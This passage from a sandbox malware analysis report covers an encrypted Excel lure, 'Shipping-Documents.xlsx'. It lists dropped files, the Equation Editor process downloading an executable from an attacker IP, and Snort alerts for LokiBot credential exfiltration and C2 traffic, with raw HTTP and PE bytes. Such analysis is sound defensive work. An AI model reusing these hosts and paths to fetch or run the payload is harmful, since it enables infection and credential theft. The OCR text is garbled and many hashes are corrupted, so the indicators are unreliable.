Malicious: false

Reputation: moderate, very likely benign file

Preview:

B L o o POV PP PP POPOPRORPOO
"1A..QRa.#2BSq ?2.X.5.PM.Q@E..I......i..0.$G.C...h..Gt...f..O..U..D.t"...u.B...VO.f..<..t( kt.
.d.@...&3)d@@7.q...t..3"... .9.r....Q.(.W..X&..& 1&T.* K..|kc.....[..1.3(f+.c...;+....5... .hHR.0...."R.G..6...&pB..d.h.04.*+..S.. M........ [. R S(© [N Yn. . TLEG[l.-.....
. zM.Ln6.Am.Am....0..[.~y....

.1.b.0U...5.0i\.LH1.f.. sl f.'3?...bu.P4>._.+.B...eL...R.,..<..3.00$,=.K.!l..Z.... O.l.z...am....C.k..iZ ...<ds....f8f..R...K

C:\Users\luser\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content. MSO\5A2D31B2.png

Process: C:\Program Files\Microsoft Office\Office I4\EXCEL.EXE

File Type: PNG image data, 1268 x 540, 8-bit/color RGBA, non-interlaced

Category: dropped

Size (bytes): 51166

Entropy (8bit):  7.767050944061069

Encrypted: false

SSDEEP: 1536:zdKgAwWKoL5H8LILtoEdJ90ShbB7IaAvRXDIBig49A:JIDAQIHB/GMSdhahg49A
MDS5: 8C29CF033A1357A8DE6GBF1FC4D0B2354

SHA1L: 85B228BBC80DC60D40F4D3473E10B742E7B9039E

SHA-256: E7B744F45621B40AC44F270A9D714312170762CA4A7DAF2BA78D5071300EF454
SHA-512: F2431F3345AAB82CFCE2F96E1D54E53539964726F2E0DBC1724A836AD6281493291156AAD7CA263B829E4A1210A118E6FA791F198B869B4741CB47047A5E6D6A
Malicious: false

Reputation: moderate, very likely benign file

Preview:

ttt
@GGGw/3

................ LA W 2=

C:\Users\user\AppDatal\Local\Microsoft\Windows\Temporary Internet Files\Content. MSO\63F24961.emf

Process: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File Type: Windows Enhanced Metafile (EMF) image data version 0x10000

Category: dropped

Size (bytes): 7592

Entropy (8bit): 5.455885888544303

Encrypted: false

SSDEEP: 96:znp5cqgblJaXn/08pnDp0d7vilxL01/G37uVH10oL6lcQtoVhZxGOme3SBwO:bp2STxK/LA/FVoL3QtKhn+e3+wO

MD5: F90940F79806885D4D1066FF87C79506

SHAL: 4292293781E28C72F1BD8D888A87E99F70EABFB3

SHA-256: 0BCOCE96702BEBFC824C0957DDB9193BA5AC80E7D9600F73DA1F055401D77EBF

SHA-512: 5B2D5FABEDDEAE601F9EADAESDOAC88255111ADF3BIES3CIB6CCA5CFELIBO042ED14E7942C82A440EEA85F9B11E27FBD930FB934505EC8E26DB 788182296196
E6A

Malicious: false
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C:\Users\user\AppDatal\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\63F24961.emf

Preview:

JNGQ.... .qHB4..P4.8"...
. dod O O GOt GO (o
........................................................................................................................................................................ HD?*"KHCcNJIFFOJFIQMHISPJoUPLIWRMVY SPX[UR{]X
Q~"XS._ZT.a[U.c\U.e"V.e"X.gY.hbY .jaZ.jb\.Id].Id].nd".nf".

C:\Users\luser\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\6BC1535.png

Process: C:\Program Files\Microsoft Office\Office 14\EXCEL.EXE

File Type: PNG image data, 1686 x 725, 8-bit/color RGBA, non-interlaced
Category: dropped

Size (bytes): 79394

Entropy (8bit):  7.864111100215953

Encrypted: false

SSDEEP: 1536:ACLfq2zNFewyOGGG0QZ+6G0GGGLVjpP7OGGGeLENf85dUGKkmMBCOLZgf3BNUAQ:7PzbewyOGGGV+6G0GGG7jpP70GGGeLEe

MDS5: 16925690E9B366EAG0B610F517789AF1

SHA1L: 9F3FE15AE44644F9ED8C2CA668B7020DF726426B

SHA-256: C3D7308B11E8C1EFDICOA7F6EC370A13EC2C87123811865ED372435784579C1F

SHA-512: AEF16EA5F33602233D60F6B6861980488FD252F14DCAE10A9A328338A6890B081D59DCBDIF5B68E93D394DEF2E71AD06937CE2711290E7DD410451A3B1E54CD
Malicious: false

Preview:

L X>09s50)s WL _
R ATEN R N S ....c..z0O.C..N.vO.%............ S.y..Sy..SJ_.gr...l}.._.>rv~.G*). #.>z.&nf.?....20.C...0..{J-......._..S..y...S8.y...S.I_..qr....1}|.._.
LSrv~.G.r). #>2..6... Sjl..=..}.z0.#.%.vO.+..vO.+}.R...6.f."..m.~m.~..=..5C.....4[....%uw........ M.r.M.k.:N.g4[<..0..k...G..... XE=..b$.G.,..K...H'"._nj..kI_..qr....
MHe>rv=lGr) L #ES LR _GLY SO LYS [ SE> L 0U L mks/ L x L X e P $..Fo. > {.Qb......

C:\Users\luser\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\79991ED9.png E

Process: C:\Program Files\Microsoft Office\Office I4\EXCEL.EXE

File Type: PNG image data, 476 x 244, 8-bit/color RGB, non-interlaced

Category: dropped

Size (bytes): 49744

Entropy (8bit):  7.99056926749243

Encrypted: true

SSDEEP: 768:wnuJ6pl4x3egT1LYyelwBiPaaBsZbkCevl17dGOhRkJjsv+gZB/UcVaxZJ2LEz:YfplUeWNYF1UiPm+/qlsxZB/ZS

MD5: 63A6CB15B2B8ECD64F1158F5C8FBDCC8

SHAL: 8783B949B93383C2A5AF7369C6EEBIDS5DD7A56F6

SHA-256: AEA49B54BA0E46F19E04BB883DA311518AF3711132E39D3AF143833920CDD232

SHA-512: BB42A40E6EADF558C2AAE82F5FB60B8D3ACO6E669F41B46FCBE65028F02B2E63491DB40E1C6F1B21A830E72EES52586B83A24A055A06C2CCC2D1207C2D5AD6E
45

Malicious: false

Preview:
PNG.......IHDR.............. I.M....IDATX....T.]...G.;.nuww7.s...U.K.....Ih....qli... K. 'K Wi > B B0 fa.e b+ P AL LS SM.....p..p-..y]..t7"D).....[.k
...p20S......6;,.H....U.a.9..1..$.....* KI<.\F..$.E...2[B(.9....H.......0AV..g.m...23..C..g(.%...6..>.0...L.t1.Q-bE......)........li ..."....V.g\.G..p..p.X[.... *%hyt...@..J...~.p....
Jo>o~ LB IUGLLILOLEG.LIVLLL.@. ... .. Jte...5Q.P.v;..B.C..m......0.N......q...b.....Q...c.m0oT.e60B...p.v"..."....... 9..G...B}..../m...0g...8......6.$.8]p...9.....Z.a.sr.;B.a...m

b BLK AW, B3 20 > L L L VKL PG 25 A WAL Y &0200)..D 2,06, U.%.2 .. 6.0 D B A MO FG]D\ [........ ... . GCE....J.

+....ra.ieZ.).Y..3.Q*m.r.urb.5@.ev@@....gsb.{g-..3j........ s.f.[8s$p.?3H......0"..6)...bD... A +....9..;$.. . Wi jBH..ItK

C:\Users\user\AppDatal\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\826EFC38.png

Process: C:\Program Files\Microsoft Office\Office L4\ EXCEL.EXE
File Type: PNG image data, 1268 x 540, 8-bit/color RGBA, non-interlaced
Category: dropped
Size (bytes): 51166
Entropy (8bit):  7.767050944061069
Encrypted: false
SSDEEP: 1536:zdKgAwWKoL5H8LIiLtoEdJ90SbB7IaAvRXDIBig49A:JDAQIH8/GMSdhahg49A
MD5: 8C29CF033A1357A8DE6BF1FC4D0B2354
SHAL: 85B228BBC80DC60D40F4D3473E10B742E7B9039E
SHA-256: E7B744F45621B40AC44F270A9D714312170762CA4A7DAF2BA78D5071300EF454
SHA-512: F2431F3345AAB82CFCE2F96E1D54E53539964726F2E0DBC1724A836AD6281493291156AAD7CA263B829E4A1210A118E6FA791F198B869B4741CB47047A5E6D6A
Malicious: false
Preview:
PNG........ IHDR............. g~....sRGB......... gAMA......a....pHYs......... 0.d...sIDATX". ;... [o IR {..m.m... 4. .h.B.d..%x.2. {w.$#.Aff..2W......... D O (TR Afen .

.0P.C?@GGGGGGGGGG?@GGGGG.Fle............. E)....C_..W}....e.._tttt.X.......... C....uOV.+.I..|2.
tttd Lzl me ttt..g.:11z......=......F...0..sLU...nZ. DGGGGGGGGG.AGGGGGGGG.Y.....#~
@GGGwW/3....... tttt.2...s...n.UL

................ ~ e Zen N X

@GGG?@GGG./...uK.WnM'.....s.s
.0.b.GZ.......... .o ] ] .COVX>..
0.t.. AGGGGGGGGGG?@GGGGGGG...AA........
L2 m

C:\Users\user\AppDatal\Local\Microsoft\Windows\Temporary Internet Files\Content. MSO\8BBCBF4F.png
Process: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Copyright Joe Security LLC 2021 Page 15 of 28



C:\Users\user\AppDatal\Local\Microsoft\Windows\Temporary Internet Files\Content. MSO\8BBCBF4F.png

File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:
Malicious:

Preview:

PNG image data, 399 x 605, 8-bit/color RGBA, non-interlaced

dropped

50311

7.960958863022709

false

768:hfo72tRIBZeeRugjj8yooVAK92SYADOPSsX35SVFNOt3HcoNzZ8WEK6HM8bbxXVGx:hfOWBuUeSoVAKXLDOBW35SEVNz8IimOAEH
4141C7515CEB4FED13BE6D2BA33299AA

B290F533537A734B7030CE1269AC8C5398754194

F6BOFE628E1469769E6BD3660611B078CEF6EE396F693361B1B42A9100973B75
74E9927BFOC6F8CB9C3973FD68DAD12B422DC4358D5CCEDI56BC6A20139B21D929E47165F77D208698924CB7950A7D5132953C75770E4A357580BF271BD9BD8

false

IDATX...h.w...VI..D.........4.p X(r.x.&.K.(.L...P..d5.R......b....... C..BP...,% ...qL.,.[E.ni.t...H_....G.|-=...<.#J.Na.aQ.V..t.M.v;=.0s..ixa..0..<..".a\.a.g.+.a.5.<.
.a...a\..a.g+.a.b<.a. .a.a.g+.a.b<.a. .a\.a.g+.a.b<.a.'.a\.a.g+.a.5<.a. '.a.a.g+.a.5<.a.'.al.a.g+.a.5<.a.’.a\.a.g+.a.5b<.a.’.al
.a.gM../.u...h6..|.22..g4M......... C.u.y,—-.."..a?2~W\i.>7q...y....iLNN....B\.w"..b~~...J.sssm.d.Y.u.G....s.\.R.'qq.....C;..$..&..2..x..J..fgg...]=0.Y.y..N..(SN.S8.eZ.T...=....4.?
~.UK.;....8SS...iY.Q.n.L.u\.x..0.,.av.N.(..H..B..X ammeshdt ]tz (C#yy Lz e e dY L7 R g G Y R Lw L KL Lhe.nM

C:\Users\luser\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content. MSO\A6AB76E0.emf

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Program Files\Microsoft Office\Office 14\EXCEL.EXE

Windows Enhanced Metafile (EMF) image data version 0x10000

dropped

648132

2.8124530118203914

false

3072:134UL0tS6WB0JOqFB5AEA7rgXuzqr8nG/gc+L+:14UcLe0JOcXuurhgcd
955A9E08DFD3A0E31C7BCF66F9519FFC
F677467423105ACF39B76CB366F08152527052B3
08A70584E1492DA4EC8557567B12F3EA3C375DAD72EC15226CAFB857527E86A5

39A2A0C062DEB58768083A946B8BCEOE46FDB2F9DDFB487FE9C544792E50FEBBA5CEEE37627AA0B6FEC1053AB48841219E12B7E4B97C51F6A4FD308B525556¢
8

false

L.0...0.RQAXL.0.D.o..
0.X...0.0.x.0..8.V.......dv......%
6..F.%..... EMF+*@..$....

C:\Users\luser\AppDatal\Local\Microsoft\Windows\Temporary Internet Files\Content. MSO\C7035FEE.emf

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Program Files\Microsoft Office\Office 14\EXCEL.EXE

Windows Enhanced Metafile (EMF) image data version 0x10000

dropped

7608

5.085491918831368

false
96:+Sp5LSR5gs3iwiMO10VCVU7ckQadVDYM/PVImhDgpH:5pW+sW31RGtdVDYM3VfmkpH
332C0E448848C1DCFAC18AAA237E2151
319D4EBF0024ED92F0424C6BF949EACD22236441
F1CB1DBD79CC21483BBCD58E689B95C4FOEDACEDD6F1E3239F655C6529718682

8607DFBDF76369D68CAD592CCFB79FFAS55FFD472E83B2D30D9AFIB5B56E8D2B5E2964EF885090A2ABA02310EC425D0617BC2D7BCEB1E70715095F507F6512D
D

false

.................... S.e.g.o.e. .U.l..
NQHB4..P4.8"......-..4..<w.

e

C:\Users\user\AppDatal\Local\Microsoft\Windows\Temporary Internet Files\Content. MSO\C83AFE53.png

Process:

File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:

C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

PNG image data, 1686 x 725, 8-bit/color RGBA, non-interlaced

dropped

79394

7.864111100215953

false
1536:ACLf2zNFewyOGGG0QZ+6G0GGGLVjpP70GGGeLEnf85dUGkm6COLZgf3BNUAQ:7PzbewyOGGGV+6GOGGG7jpP70GGGeLEe
16925690E9B366EAG0B610F517789AF1

9F3FE15AE44644F9ED8C2CA668B7020DF726426B
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C:\Users\user\AppDatal\Local\Microsoft\Windows\Temporary Internet Files\Content. MSO\C83AFE53.png

SHA-256: C3D7308B11E8C1EFD9COA7F6EC370A13EC2C87123811865ED372435784579C1F

SHA-512: AEF16EA5F33602233D60F6B6861980488FD252F14DCAE10A9A328338A6890B081D59DCBDIF5B68E93D394DEF2E71AD06937CE2711290E7DD410451A3B1E54CD
Malicious: false

Preview:

.PNG........IHDR. .J K..E..).#lk.%0.....a-[..S..M*A..Bc..i+..e..u['R.., (.b..IT.OX.}...(.@...F>...v....s.9.

L X>0.95..0)S. WL Srv~.G.x).#>z._ .| #.fF.?2.G....zO.C....... z0.%.. B.._

LTV~ GR) #>Z ..zO.C...0..{J-

Iy~ .G.x). #.>2...6 .g4[<..0.k...G......

Be_crv=lGr) L #E> LR _JGLY SO {LL)S [ SE> L 0U L ks x L X e 2l SR> { Qb
C:\Usersluser\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content. MSO\D1A2B317.png E
Process: C:\Program Files\Microsoft Office\Office 14\EXCEL.EXE
File Type: PNG image data, 476 x 244, 8-bit/color RGB, non-interlaced
Category: dropped
Size (bytes): 49744
Entropy (8bit):  7.99056926749243
Encrypted: true
SSDEEP: 768:wnuJ6pl4ax3egT1LYyelwBiPaaBsZbkCev17dGOhRkJjsv+gZB/UcVaxZJ2LEz:YfplUeWNYF1UiPm+/qlsxZB/ZS
MD5: 63A6CB15B2B8ECD64F1158F5C8FBDCC8
SHA1L: 8783B949B93383C2A5AF7369C6EEBIDSDD7A56F6
SHA-256: AEA49B54BA0E46F19E04BB883DA311518AF3711132E39D3AF143833920CDD232
SHA-512: BB42A40E6EADF558C2AAE82F5FB60B8D3ACO6E669F41B46FCBE65028F02B2E63491DB40E1C6F1B21A830E72EES52586B83A24A055A06C2CCC2D1207C2D5AD6E

45
Malicious: false
Preview:

PNG........ IHDR.............. LLM...IDATX...T.]...G.;..nuww7.s...U..K....Ih...gli.. K. .tk W.i.>....B...EO...fa..e..++. P. . . .LSh........ sM....p..p-.y]..t7"D)..... L.k

...pzos....... 6;,..H....U..a.9..1..$.....* KI<.\F..$.E...?[B(.9.....H..l.....0AV..0.m...23..C..9(.%...6..>.0.r...L..t11.Q-.bE......)........ li.."..V.g\G..p.p.X[....*%hyt.@..J..~.p....

|.>. .~ LB XiU.G.LILOLI6.LIV....@.......... Jte...5Q.P.v;..B.C..m......0.N......q...b. /m...0g...8.....6.$.8]p...9.....Z.a.sr.;B.a..m

L>0blBLKL w2 B3 2 > e L KL P 25 WE LYy 802.00).e.D 2,06 U.%. 2t 6.0 DB~ M%) G\ [....... 1. . GCB......J.

+.....ra..ieZ..Y..3.Q*m.rurb.5@.e.v@@....gsh.{g-..3j........ s.f.|8s$p.?3H......0"..6)...bD... A +....9.;$.. . W:LjBH..ItK

C:\Users\luser\AppDatal\Local\Microsoft\Windows\Temporary Internet Files\Content. MSO\F5DD422C.png

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1:
SHA-256:
SHA-512:
Malicious:

Preview:

C:\Program Files\Microsoft Office\Office I4\EXCEL.EXE

PNG image data, 566 x 429, 8-bit/color RGBA, non-interlaced

dropped

84203

7.979766688932294

false
1536:RrpoeM3WUHO25A8HD3S04IL9jvt06302I/Wr9nuQvs+9QvM4PmgZuVHdJI5v3ZK7+:H5YHOhwx4IRTtO6349uQvXJ4PmgZull
208FD40D2F72D9AED77A86A44782E9E2

216B99E777ED782BDC3BFD1075DB90DFDDABD20F
CBFDB963E074C150190C93796163F3889165BF4471CA77C39E756CF3F6F703FF
7BCE8OFFA8B0707E4598639023876286B6371AE465A9365FA21D2C01405AB090517C448514880713CA22875013074DBOD5SED8DA93C223F265C179CFADAGO9AGA

false

OAMA.....a....pHYs.......... +.....IDATXA=WQ. H.f....ZA..," . 14........SEJ %.VPG. K =...@.$0l.e7....U...... ... SN~&..._..._IQ...

?2..00.7....CC...G...g>......_O.eo._}qo Koo FUT....S.L.~ @Y96.S.....8..1.0....0...0.6..S.. .. H.hS.....y; NLL).[f.Xunp........._h.(U]0A.... ] R.Z...2.....GIY
\.+b..{>VU.... o V.-2.5.U.CR.gN. X......6N...6....06 .- AM.f.=y ... 7..;X...0..| ... =K. W..}O. {]...G........~.03....2...M6...SN.0..;/....Y..H..0..........
(W Sit.m..+.K..<.M=..IN.U..C.]5.=.5..g.d.f.<Km.$.fS..0....}@....k.m.L/S......}....3%..|j....b.r7.0IF..c".....$...)...|O.CK...._....Nv...q.t3l.,. ...vD.-.0.kw....X...-
C..KGId.8.a}|..,.....ro.. Q=1 PEVH D S W NLDLWLL L 2,00 K K AW 6., L ELXUL-Y].0IMUpg 0. V.o 170 F

C:\Users\user\AppDatal\Local\Microsoft\Windows\Temporary Internet Files\Content. MSO\FB863104.jpeg

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:

Malicious:

C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 191x263, frames 3
dropped

8815

7.944898651451431

false

192:Qjnr2118e71i2YRD5x5dlyuaQ0ugZIBn+002yHQG YtPto:QZI8e71i2YdRyuZ0b+JGgtPW
F06432656347B7042C803FE58F4043E1

4BD52B10B24EADECA4B227969170C1D06626A639
409F06FC20F252C724072A88626CB29F299167EAE6655D81DF8E9084E62D6CF6

358FEB8CBFFBE6329F31959F0F03C079CF95B494D3C76CF3669D28CA8CDB42B04307AE46CED1FCO605DEF31D9839A0283B43AA5D409ADC283A1CAD787BE9SI
OE

false
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C:\Users\luser\AppDatalLocal\Microsoft\Windows\Temporary Internet Files\Content. MSO\FB863104.jpeg

Preview:
...... JFIF o) (21 1196)-
..... Froiiiiieee L"1IALQRaH#2BSq
.d.@..&3)d@@7.q...t..3".... .9.r....Q.(. W..X&..&1&T .* K..|kc.....[..L.3(f+.c...;+...5....hHR.0..."R.G..6...&pB..d.h.04.*+..S..M.......[....".....J...,..<.0... Yn.. . TLE*G..-......
$e&........z.[..3.+~..a.u9d.&IK . xkX".."...Y ..I....... MxPu..b..:0e:.R.#....... U...E..4Pd/..0.".4 ..A.t..2.gb)b.l."&.y1.......... 1.s>.ZA2.......... 3...z"..L.n6.Am.1m....0../.~y....
.1.b.0U...5.0i\.LH1.f....sl..ccc f'32..bu.P4>. .+ B...elL...R.,..<...3.00$,=. K.|...Z..... O.l.z...am...C.k..iZ ...<ds...f8f..R....K

C:\Users\luser\AppData\Roaming\CF97F5\5879F5.Ick

Process: C:\Users\Public\vbc.exe

File Type: very short file (no magic)

Category: dropped

Size (bytes): 1

Entropy (8bit): 0.0

Encrypted: false

SSDEEP: 3:U:U

MD5: C4CA4238A0B923820DCC509A6F75849B

SHA1L: 356A192B7913B04C54574D18C28D46E6395428AB

SHA-256: 6B86B273FF34FCE19D6B804EFF5A3F5747ADA4AEAA22F1DA9C01ES52DDB7875B4B

SHA-512: ADFF4EA340F0A823F15D3F4F01AB62EAEOESDAS79CCB851F8DBODFE84C58B2B37B89903A740E1EE172DA793A6E79D560ES5F7FOBD058A12A280433ED6FA4651(
A

Malicious: false

Preview:
1

C:\Users\luser\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-966771315-3019405637-367336477-1006\f554348b930ff81505ce47f7c6b7d232_ea860e7a-
a87f-4a88-92ef-38f744458171

Process: C:\Users\Public\vbc.exe

File Type: data

Category: dropped

Size (bytes): 598

Entropy (8bit):  0.6390116820665388

Encrypted: false

SSDEEP: 3:/IbWwWyIIbWwWIbWwWllbWwWiIlbWwWvIlbWwWhillbWwWi:seeeeeeZ

MD5: E34D74806A224083D4011C3BED51D210

SHA1L: 5F801AC445BAB225AD54C6875B1CAA13DC64BADS

SHA-256: 36B1C45B1C4DF82A82C9F6E40AE8746549ECF0957E92FD968516ECD4BAS7C45F
SHA-512: E88FF1C1159BA47052C5889A9CCC1F0385877515E66695D91F8FD7541007D643E031B22AA18B429B303A271E848DBD74017625666A1D303C04544D01B8C975D3
Malicious: false

Preview:

Process: C:\Program Files\Microsoft Office\Office l4\EXCEL.EXE

File Type: data

Category: dropped

Size (bytes): 330

Entropy (8bit):  1.4377382811115937

Encrypted: false

SSDEEP: 3:vZ/FFDIW2fj/FFDJIW2fV:vBFFGaFFGS

MD5: 96114D75E30EBD26B572C1FC83D1D02E

SHAL: A44EEBDASEB09862AC46346227F06F8CFAF19407

SHA-256: 0C6F8CFOE504C17073E4C614C8A7063F194E335D840611EEFA9E29C7CED1A523

SHA-512: 52D33C36DF2A91E63A9B1949FDC5D69E6A3610CD3855A2E3FC25017BF0A12717FC15EB8AC6113DC7D69C06ADAA83FAFOF021AD7C8D30600AA8168348BDOFAS
0

Malicious: true

Preview:
.user LALBIUS. user LAlbus. oo

Process: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
File Type: PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category: dropped

Size (bytes): 761856

Entropy (8bit): 7.601403838460658
Encrypted: false

Copyright Joe Security LLC 2021 Page 18 of 28



SSDEEP: 12288:88zqLMOeSMxvquwaHpCwQqc6n2R8Uncvc6t8TSx+f5SSruwsrdZ4:z0gfquPHpCwQQgRTTt88KSKNsrJ

MDS5: 7146BOD2CAED6422C289A08F63A5C685

SHA1L: 2666D058EA4E4A2CASBCEESEA75594E68FC63F1B

SHA-256: 25AA6393CACFF94544387CC515F754DFD2AF133612A74FD84B64C6E17354D1ED

SHA-512: FOB3098F20A22095397AB88348ECFE0911B126739005C9B70A815543BE04465603D3EDOC070BA50488C88FE13B9470D003C114254941593BA20F4511CB01CCA47
Malicious: true

Antivirus: e Antivirus: ReversingLabs, Detection: 11%

Preview:

Lol * J+.&....

Static File Info

General
File type:
Entropy (8bit):
TriD:

File name:
File size:
MD5:
SHAL:
SHA256:

SHAS512:

SSDEEP:

File Content Preview:

File Icon

Icon Hash:

Static OLE Info

General
Document Type:
Number of OLE Files:

OLE File "Shipping-Documents.xlIsx"

Indicators

Has Summary Info:

Application Name:

Encrypted Document:

Contains Word Document Stream:
Contains Workbook/Book Stream:
Contains PowerPoint Document Stream:
Contains Visio Document Stream:
Contains ObjectPool Stream:

Flash Objects Count:

Contains VBA Macros:

Streams

Copyright Joe Security LLC 2021

VA T e o

ede2aaB8aadb4bchd

OLE

False
unknown
True
False
False
False

False

False

(0070 & .
* V+&.(.0f (LK A& F A& I & (IR & (R & (*

0 95..&.(..B & ..

CDFV2 Encrypted
7.995662263943651

e Generic OLE2 / Multistream Compound File
(8008/1) 100.00%

Shipping-Documents.xIsx

1359872

20e540ed9d02f60f7fb928ed8fe60f1f
afa6c289fbeed004fe3a52c666¢f32a8ae444e79

3c48a312d69b2d72bec8b3dad17e99ee1241afff875e97h
73569509d5f8b07ec

1f1aed88494f999628457d75b3f1097bd1b05¢c48610ce09
c96e827a34c1f81f8ef40a46027404cc050545258dfc290f
d024923a73bd880019d95bbec27035fb5

24576:dHM2lbcLvEgwCf30kSoDsM0J+MCOMhXWc3zf
SI2dz5QEYLiHjlkIh5cM07ZP:d2Lcgws3eooMQ+zNhGa
za85J1k018x
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Network Behavior

Snort IDS Alerts

Timestamp

06/16/21-
12:29:47.751148

06/16/21-
12:29:47.751148

06/16/21-
12:29:47.751148

06/16/21-
12:29:47.751148

06/16/21-
12:29:48.840134

06/16/21-
12:29:48.840134

06/16/21-
12:29:48.840134

06/16/21-
12:29:48.840134

06/16/21-
12:29:49.987019

06/16/21-
12:29:49.987019

06/16/21-
12:29:49.987019

06/16/21-
12:29:49.987019

06/16/21-
12:29:51.153026

06/16/21-
12:29:51.153026

06/16/21-
12:29:51.153026

06/16/21-
12:29:51.153026

Protocol SID

TCP 2024312
TCP 2021641
TCP 2025381
TCP 2024317
TCP 2024312
TCP 2021641
TCP 2025381
TCP 2024317
TCP 2024313
TCP 2021641
TCP 2025381
TCP 2024318
TCP 2024313
TCP 2021641
TCP 2025381
TCP 2024318

Network Port Distribution

TCP Packets

Message

ET TROJAN LokiBot Application/Credential Data Exfiltration Detected M1

ET TROJAN LokiBot User-Agent (Charon/Inferno)

ET TROJAN LokiBot Checkin

ET TROJAN LokiBot Application/Credential Data Exfiltration Detected M2

ET TROJAN LokiBot Application/Credential Data Exfiltration Detected M1

ET TROJAN LokiBot User-Agent (Charon/Inferno)

ET TROJAN LokiBot Checkin

ET TROJAN LokiBot Application/Credential Data Exfiltration Detected M2

ET TROJAN LokiBot Request for C2 Commands Detected M1

ET TROJAN LokiBot User-Agent (Charon/Inferno)

ET TROJAN LokiBot Checkin

ET TROJAN LokiBot Request for C2 Commands Detected M2

ET TROJAN LokiBot Request for C2 Commands Detected M1

ET TROJAN LokiBot User-Agent (Charon/Inferno)

ET TROJAN LokiBot Checkin

ET TROJAN LokiBot Request for C2 Commands Detected M2

HTTP Request Dependency Graph

e 103.89.90.94

e 63.141.228.141

HTTP Packets

Session ID
0

Timestamp

Jun 16, 2021

12:29:39.017275095 CEST

Source IP Source Port Destination IP Destination Port Process
192.168.2.22 49167 103.89.90.94 80
kBytes
transferred Direction Data
0 ouT GET /pzldoc/regasm.exe HTTP/1.1
Accept: */*

Copyright Joe Security LLC 2021

Accept-Encoding: gzip, deflate

Source

Port

49168

49168

49168

49168

49169

49169

49169

49169

49170

49170

49170

49170

49171

49171

49171

49171

Dest

Port

80

80

80

80

80

80

80

80

80

80

80

80

80

80

80

80

Source IP

192.168.2.22

192.168.2.22

192.168.2.22

192.168.2.22

192.168.2.22

192.168.2.22

192.168.2.22

192.168.2.22

192.168.2.22

192.168.2.22

192.168.2.22

192.168.2.22

192.168.2.22

192.168.2.22

192.168.2.22

192.168.2.22

Dest IP
63.141.228.141

63.141.228.141

63.141.228.141

63.141.228.141

63.141.228.141

63.141.228.141

63.141.228.141

63.141.228.141

63.141.228.141

63.141.228.141

63.141.228.141

63.141.228.141

63.141.228.141

63.141.228.141

63.141.228.141

63.141.228.141

C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727;
.NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)

Host: 103.89.90.94
Connection: Keep-Alive

Page 20 of 28



kBytes
Timestamp transferred

Jun 16, 2021 1
12:29:39.263397932 CEST

Session ID Source IP

1 192.168.2.22
kBytes

Timestamp transferred

Jun 16, 2021 807

12:29:47.751147985 CEST

Copyright Joe Security LLC 2021

Direction

IN

Source Port

49168

Direction
ouT

Data

HTTP/1.1 200 OK

Date: Wed, 16 Jun 2021 10:29:38 GMT

Server: Apache/2.4.47 (Win64) OpenSSL/1.1.1k PHP/7.3.28

Last-Modified: Wed, 16 Jun 2021 00:49:42 GMT

ETag: "ba000-5c4d77753dec3"

Accept-Ranges: bytes

Content-Length: 761856

Keep-Alive: timeout=5, max=100

Connection: Keep-Alive

Content-Type: application/x-msdownload

Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 Oe 1f ba Oe 00 b4 09 cd 21 b8 01
4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64
65 2e 0d 0d Oa 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 9c 4a c9 60 00 00 00 00 00 00 00 00 e0 00 Oe 01 Ob 01
06 00 00 94 Ob 00 00 0a 00 00 00 00 00 00 de b2 Ob 00 00 20 00 00 00 cO Ob 00 00 00 40 00 00 20 00 00 00 02 00 00 04
00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 00 Oc 00 00 02 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 10 00 00
00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 90 b2 Ob 00 4b 00 00 00 00 cO Ob 00 2c 06 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 Ob 00 Oc 00 00 00 3f b2 Ob 00 1c 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08
00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 e4 92 Ob 00
